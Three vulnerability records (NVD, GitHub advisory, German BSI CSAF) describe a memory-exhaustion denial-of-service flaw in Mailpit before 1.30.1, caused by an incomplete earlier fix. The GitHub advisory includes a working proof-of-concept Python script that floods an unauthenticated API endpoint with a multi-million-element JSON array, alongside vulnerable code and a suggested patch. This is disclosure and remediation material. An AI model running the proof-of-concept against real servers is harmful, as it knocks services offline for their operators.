{
  "affected": [
    {
      "affectedData": [
        {
          "product": "mailpit",
          "vendor": "axllent",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 1.30.1"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Mailpit is an email testing tool and API for developers. Prior to version 1.30.1, the fix for GHSA-fpxj-m5q8-fphw (CVE-2026-45710, \"Mailpit: Set a default 50MB p/m limit to prevent DoS via unlimited SMTP DATA and /api/v1/send body sizes\") wrapped only `POST /api/v1/send` with `http.MaxBytesReader`. The four other Mailpit JSON-body API endpoints  `PUT /api/v1/messages` (SetReadStatus), `DELETE /api/v1/messages` (DeleteMessages), `PUT /api/v1/tags` (SetMessageTags), and `POST /api/v1/message/{id}/release` (ReleaseMessage)  still call `json.NewDecoder(r.Body)` directly with no body-size cap and remain reachable unauthenticated in the default `docker run axllent/mailpit:latest` deploy. An unauthenticated remote attacker can post a multi-million-element `IDs` slice and drive RSS from ~25 MiB baseline to ~450 MiB per 16 MB request body. Repeating across multiple connections accumulates the same per-request amplification per process. Version 1.30.1 contains a patch."
    }
  ],
  "id": "CVE-2026-48824",
  "lastModified": "2026-07-21T20:25:45.920",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "LOW",
          "baseScore": 5.3,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "NONE",
          "integrityImpact": "NONE",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 1.4,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-48824",
          "options": [
            {
              "exploitation": "none"
            },
            {
              "automatable": "yes"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-07-20T19:01:37.901255Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-07-20T16:17:03.080",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/axllent/mailpit/releases/tag/v1.30.1"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/axllent/mailpit/security/advisories/GHSA-28pq-6qxg-wg5r"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Awaiting Analysis",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-770"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.30.0"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/axllent/mailpit"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.30.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-48824"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-01T20:56:10Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nThe fix for GHSA-fpxj-m5q8-fphw (CVE-2026-45710, \"Mailpit: Set a default 50MB p/m limit to prevent DoS via unlimited SMTP DATA and /api/v1/send body sizes\") wrapped only `POST /api/v1/send` with `http.MaxBytesReader`. The four other Mailpit JSON-body API endpoints  `PUT /api/v1/messages` (SetReadStatus), `DELETE /api/v1/messages` (DeleteMessages), `PUT /api/v1/tags` (SetMessageTags), and `POST /api/v1/message/{id}/release` (ReleaseMessage)  still call `json.NewDecoder(r.Body)` directly with no body-size cap and remain reachable unauthenticated in the default `docker run axllent/mailpit:latest` deploy. An unauthenticated remote attacker can post a multi-million-element `IDs` slice and drive RSS from ~25 MiB baseline to ~450 MiB per 16 MB request body. Repeating across multiple connections accumulates the same per-request amplification per process.\n\n### Affected versions\n\n- Mailpit at HEAD `67a7ca83ff759082d2b86dda07eb5bb3dad404e0` (v1.30.0, 2026-05-14).\n- All versions `\u003c= v1.30.0` (the release that shipped the GHSA-fpxj fix). Versions `\u003c v1.30.0` are vulnerable to the original GHSA-fpxj on `/api/v1/send`; version `v1.30.0` carries the sibling-endpoint gap described here.\n\n### Privilege required\n\nNone in default deploy (no `--ui-auth`, no `--smtp-auth`). The four endpoints share the same `middleWareFunc` wrapper as the original GHSA-fpxj target, so the same default-no-auth threat model applies. With `--ui-auth=user:pass` configured, the same primitive is post-auth \u2014 still useful since UI-auth Mailpit deployments commonly run on internal ops subnets where one stolen UI credential pivots into an RSS-exhaustion vector against the same host.\n\n### The incomplete fix\n\nCommit `136bdde` (\"Security: Set a default 50MB p/m limit to prevent DoS via unlimited SMTP DATA and /api/v1/send body sizes (GHSA-fpxj-m5q8-fphw)\", 2026-05-12) added the `MaxBytesReader` wrap in exactly one place:\n\n```go\n// server/apiv1/send.go:45-48\nif config.MaxMessageSize \u003e 0 {\n    r.Body = http.MaxBytesReader(w, r.Body, int64(config.MaxMessageSize)*1024*1024)\n}\n\ndecoder := json.NewDecoder(r.Body)\n```\n\nThe sibling JSON-body handlers were not updated. Side-by-side at HEAD `67a7ca8`:\n\n| File | Function | `MaxBytesReader`? | Unauth in default deploy? |\n|---|---|---|---|\n| `server/apiv1/send.go:45-48` (`SendMessageHandler`) | POST `/api/v1/send` | YES (50 MB) | YES (via `sendAPIAuthMiddleware` falling back to `middleWareFunc`) |\n| `server/apiv1/messages.go:107` (`SetReadStatus`) | PUT `/api/v1/messages` | NO | YES |\n| `server/apiv1/messages.go:187` (`DeleteMessages`) | DELETE `/api/v1/messages` | NO | YES |\n| `server/apiv1/tags.go:54` (`SetMessageTags`) | PUT `/api/v1/tags` | NO | YES |\n| `server/apiv1/release.go:55` (`ReleaseMessage`) | POST `/api/v1/message/{id}/release` | NO | YES |\n\nThe four sibling handlers all share the shape:\n\n```go\n// server/apiv1/messages.go:107-115 (SetReadStatus)\ndecoder := json.NewDecoder(r.Body)\n\nvar data struct {\n    Read   bool\n    IDs    []string\n    Search string\n}\n\nerr := decoder.Decode(\u0026data)\n```\n\nNo `MaxBytesReader`, no body-size cap, no `r.Header.Get(\"Content-Length\")` check. The `json.NewDecoder` streams the body but each `\"x\"` element materialises as a separate Go `string` plus slice-header overhead, so the unmarshalled `[]string` slice for `IDs` grows roughly linearly with attacker payload size.\n\n### Vulnerable code\n\n`server/apiv1/messages.go:107`:\n\n```go\nfunc SetReadStatus(w http.ResponseWriter, r *http.Request) {\n    decoder := json.NewDecoder(r.Body)\n\n    var data struct {\n        Read   bool\n        IDs    []string\n        Search string\n    }\n\n    err := decoder.Decode(\u0026data)\n    if err != nil {\n        httpError(w, err.Error())\n        return\n    }\n    // ...\n```\n\nThree other handlers (`DeleteMessages`, `SetMessageTags`, `ReleaseMessage`) match the same shape.\n\n### Reachability chain (default deploy)\n\n```\nListen()                                  # config/config.go HTTPListen = \"[::]:8025\"\n   \u2193\nHTTP server                               # server/server.go:177-186\n   \u2193\nmiddleWareFunc(apiv1.SetReadStatus)       # server/server.go:178 \u2014 auth bypassed when UICredentials == nil\n   \u2193\nSetReadStatus                             # server/apiv1/messages.go:87\n   \u2193\njson.NewDecoder(r.Body).Decode(\u0026data)    # no MaxBytesReader; allocates 4M Go strings + slice for {\"IDs\":[\"x\",...]}\n   \u2193\nRSS grows ~28x relative to payload size\n```\n\n`config/config.go`\u0027s `MaxMessageSize` field (added by 136bdde) exists and is parsed from `--max-message-size` (default 50 MB), but it is checked only in `server/apiv1/send.go`. The four sibling handlers never consult it.\n\n### Reproduction (E2E against `axllent/mailpit:latest` v1.30.0)\n\n```bash\n# 1) start mailpit with defaults (no --ui-auth, no --smtp-auth)\ndocker run --name mailpit-test -d -p 18025:8025 axllent/mailpit:latest\n\n# 2) baseline RSS\ndocker stats mailpit-test --no-stream --format \u0027{{.MemUsage}}\u0027\n# \u2192 8.473MiB / 5.772GiB\n\n# 3) trigger\npython3 - \u003c\u003c\u0027PY\u0027\nimport socket\nN = 4_000_000\nprefix = b\u0027{\"Read\": true, \"IDs\": [\u0027\nitems  = b\u0027\"x\"\u0027 + (b\u0027,\"x\"\u0027 * (N - 1))\nsuffix = b\u0027]}\u0027\nclen   = len(prefix) + len(items) + len(suffix)\ns = socket.create_connection((\"localhost\", 18025), timeout=300)\ns.sendall(\n    b\"PUT /api/v1/messages HTTP/1.1\\r\\n\"\n    b\"Host: localhost:18025\\r\\n\"\n    b\"Content-Type: application/json\\r\\n\"\n    b\"Content-Length: \" + str(clen).encode() + b\"\\r\\n\"\n    b\"Connection: close\\r\\n\\r\\n\")\ns.sendall(prefix)\nrem = items\nwhile rem:\n    s.sendall(rem[:1024*1024]); rem = rem[1024*1024:]\ns.sendall(suffix)\ns.close()\nPY\n\n# 4) post-PoC RSS\ndocker stats mailpit-test --no-stream --format \u0027{{.MemUsage}}\u0027\n# \u2192 455.8MiB / 5.772GiB\n```\n\nObserved: a single 16 MB JSON body drove Mailpit RSS from 8.473 MiB to 455.8 MiB (+447 MiB, ~28\u00d7 amplification). Memory is not freed between requests; repeating the PoC over multiple TCP connections sums per-process until the operator restarts the container or the host memory pressure regime terminates it.\n\nThe same primitive reproduces on `DELETE /api/v1/messages`, `PUT /api/v1/tags`, and `POST /api/v1/message/{any-id}/release` with identical body shapes; each of the four endpoints individually reproduces the same amplification.\n\n### Impact\n\n- **Pre-auth remote memory-exhaustion DoS.** Default-deploy Mailpit (the deployment shape the README documents for dev/CI use) is reachable unauthenticated on `[::]:8025`. A single TCP connection sending one ~100 MB JSON `IDs` body drives RSS to ~2.8 GB. Multiple concurrent connections compound the per-process RSS growth. Class-and-severity match the parent CVE-2026-45710.\n- **Disk amplification (secondary).** The `IDs` slice itself is not persisted to SQLite (unlike the parent GHSA-fpxj message-body path), so disk pressure is limited to whatever the handler does downstream. For `SetReadStatus`, the slice is iterated and an UPDATE is issued for each id; with 4M entries the per-call work is also linear in `len(ids)`.\n- **Same threat model as the parent.** The maintainer chose 50 MB as the default cap for `/api/v1/send` to bound the worst case there. Without the same cap on these sibling endpoints, the per-process worst-case is unbounded.\n\n### Suggested fix\n\nApply the same `MaxBytesReader` pattern already proven on `send.go` to every JSON-body handler. Concretely, wrap each of the four sibling sites:\n\n```go\n// server/apiv1/messages.go:107  (SetReadStatus)\nif config.MaxMessageSize \u003e 0 {\n    r.Body = http.MaxBytesReader(w, r.Body, int64(config.MaxMessageSize)*1024*1024)\n}\ndecoder := json.NewDecoder(r.Body)\n\n// server/apiv1/messages.go:187  (DeleteMessages) \u2014 same wrap\n// server/apiv1/tags.go:54       (SetMessageTags) \u2014 same wrap\n// server/apiv1/release.go:55    (ReleaseMessage)  \u2014 same wrap\n```\n\nA cleaner shape is to factor the cap into the existing `middleWareFunc` wrapper in `server/server.go`, so every API handler that is not an upload-style endpoint inherits the cap by default. \n\n### Credit\n\nReported by tonghuaroot.",
  "id": "GHSA-28pq-6qxg-wg5r",
  "modified": "2026-07-01T20:56:10Z",
  "published": "2026-07-01T20:56:10Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/axllent/mailpit/security/advisories/GHSA-28pq-6qxg-wg5r"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/axllent/mailpit"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Mailpit: Sibling-endpoint memory-exhaustion DoS via unbounded JSON body on /api/v1/messages, /api/v1/tags, and /api/v1/message/{id}/release (incomplete fix of GHSA-fpxj-m5q8-fphw)"
}

{
  "document": {
    "aggregate_severity": {
      "text": "mittel"
    },
    "category": "csaf_base",
    "csaf_version": "2.0",
    "distribution": {
      "tlp": {
        "label": "WHITE",
        "url": "https://www.first.org/tlp/"
      }
    },
    "lang": "de-DE",
    "notes": [
      {
        "category": "legal_disclaimer",
        "text": "Das BSI ist als Anbieter f\u00fcr die eigenen, zur Nutzung bereitgestellten Inhalte nach den allgemeinen Gesetzen verantwortlich. Nutzerinnen und Nutzer sind jedoch daf\u00fcr verantwortlich, die Verwendung und/oder die Umsetzung der mit den Inhalten bereitgestellten Informationen sorgf\u00e4ltig im Einzelfall zu pr\u00fcfen."
      },
      {
        "category": "description",
        "text": "Mailpit ist ein Open-Source-E-Mail-Testwerkzeug, das als lokaler SMTP-Server zum Auffangen und Anzeigen von E-Mails dient, ohne diese tats\u00e4chlich zu versenden.",
        "title": "Produktbeschreibung"
      },
      {
        "category": "summary",
        "text": "Ein entfernter, anonymer Angreifer kann eine Schwachstelle in MailPit ausnutzen, um einen Denial of Service Angriff durchzuf\u00fchren.",
        "title": "Angriff"
      },
      {
        "category": "general",
        "text": "- Linux\n- Sonstiges\n- UNIX\n- Windows",
        "title": "Betroffene Betriebssysteme"
      }
    ],
    "publisher": {
      "category": "other",
      "contact_details": "csaf-provider@cert-bund.de",
      "name": "Bundesamt f\u00fcr Sicherheit in der Informationstechnik",
      "namespace": "https://www.bsi.bund.de"
    },
    "references": [
      {
        "category": "self",
        "summary": "WID-SEC-W-2026-1728 - CSAF Version",
        "url": "https://wid.cert-bund.de/.well-known/csaf/white/2026/wid-sec-w-2026-1728.json"
      },
      {
        "category": "self",
        "summary": "WID-SEC-2026-1728 - Portal Version",
        "url": "https://wid.cert-bund.de/portal/wid/securityadvisory?name=WID-SEC-2026-1728"
      },
      {
        "category": "external",
        "summary": "GitHub Security Advisory GHSA-28pq-6qxg-wg5r vom 2026-05-28 mit PoC",
        "url": "https://github.com/axllent/mailpit/security/advisories/GHSA-28pq-6qxg-wg5r"
      }
    ],
    "source_lang": "en-US",
    "title": "MailPit: Schwachstelle erm\u00f6glicht Denial of Service",
    "tracking": {
      "current_release_date": "2026-05-28T22:00:00.000+00:00",
      "generator": {
        "date": "2026-05-29T09:40:34.483+00:00",
        "engine": {
          "name": "BSI-WID",
          "version": "1.6.0"
        }
      },
      "id": "WID-SEC-W-2026-1728",
      "initial_release_date": "2026-05-28T22:00:00.000+00:00",
      "revision_history": [
        {
          "date": "2026-05-28T22:00:00.000+00:00",
          "number": "1",
          "summary": "Initiale Fassung"
        }
      ],
      "status": "final",
      "version": "1"
    }
  },
  "product_tree": {
    "branches": [
      {
        "branches": [
          {
            "branches": [
              {
                "category": "product_version_range",
                "name": "\u003c1.30.1",
                "product": {
                  "name": "Open Source MailPit \u003c1.30.1",
                  "product_id": "T054876"
                }
              },
              {
                "category": "product_version",
                "name": "1.30.1",
                "product": {
                  "name": "Open Source MailPit 1.30.1",
                  "product_id": "T054876-fixed",
                  "product_identification_helper": {
                    "cpe": "cpe:/a:axllent:mailpit:1.30.1"
                  }
                }
              }
            ],
            "category": "product_name",
            "name": "MailPit"
          }
        ],
        "category": "vendor",
        "name": "Open Source"
      }
    ]
  },
  "vulnerabilities": [
    {
      "cve": "CVE-2026-48824",
      "product_status": {
        "known_affected": [
          "T054876"
        ]
      },
      "release_date": "2026-05-28T22:00:00.000+00:00",
      "title": "CVE-2026-48824"
    }
  ]
}